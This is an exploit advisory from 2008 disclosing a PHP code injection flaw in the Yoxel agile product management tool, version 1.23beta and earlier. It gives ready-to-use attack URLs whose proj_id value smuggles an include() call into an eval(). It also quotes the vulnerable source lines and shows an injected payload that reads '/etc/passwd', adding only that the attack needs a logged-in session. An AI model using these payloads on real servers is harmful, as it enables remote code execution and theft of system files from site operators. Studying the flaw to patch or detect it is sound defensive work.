:::::::-. ... ::::::. :::. ;;, `';, ;; ;;;`;;;;, `;;; `[[ [[[[' [[[ [[[[[. '[[ $$, $$$$ $$$ $$$ "Y$c$$ 888_,o8P'88 .d888 888 Y88 MMMMP"` "YmmMMMM"" MMM YM [ Discovered by dun \ dun[at]strcpy.pl ] ############################################################### # [ Yoxel <= 1.23beta ] PHP code Injection Vulnerability # ############################################################### # # Script: "Yoxel is a hidden gem. This Open Source project provides customer/business focused Agile Product Management tools in PHP." # # Script site: http://www.yoxel.com/ # Download: http://sourceforge.net/projects/yoxel/ # # Vuln: # http://site.com/[yoxel_v1.23beta]/itpm/itpm_estimate.php?a=LOCAL_OR_REMOTE_FILE&rid=1&proj_id=);include($_GET[a]);die(2 # http://site.com/[yoxel_v1.23beta]/itpm/itpm_estimate.php?a=LOCAL_OR_REMOTE_FILE&proj_id=);include($_GET[a]);die(2 # # # (1) Bug: ./yoxel_v1.23beta/itpm/itpm_estimate.php (line: 40) # # ... # require_once('includes/project/estimate_inc.php'); # ... # # # (2) Bug: ./yoxel_v1.23beta/includes/project/estimate_inc.php (lines: 85-99) # # ... # if(isset($_GET['rid'])){ # $rids=explode(':',$_GET['rid']); # if(isset($_GET['proj_id']) && $_GET['proj_id']){ # $proj_id=$_GET['proj_id']; # eval("\$pps= new $cname(".$_GET['proj_id'].");"); // PHP inj 1 # } # }elseif(isset($_GET['proj_id']) && !empty($_GET['proj_id'])){ # $proj_id=$_GET['proj_id']; # # if(isset($_GET['pr_list_type'])) # $plt=$_GET['pr_list_type']; # else # $plt='full'; # # eval("\$pps= new $cname($proj_id);"); // PHP inj 2 # ... # # # After php injection: eval( $pps= new ITPlan();include('/etc/passwd');die(2); ); # # IMPORTANT: This bug doesn't work, when you aren't logged in Yoxel ;((( # # ############################################### # Greetz: D3m0n_DE * str0ke * and otherz.. ############################################### [ dun / 2008 ] *******************************************************************************************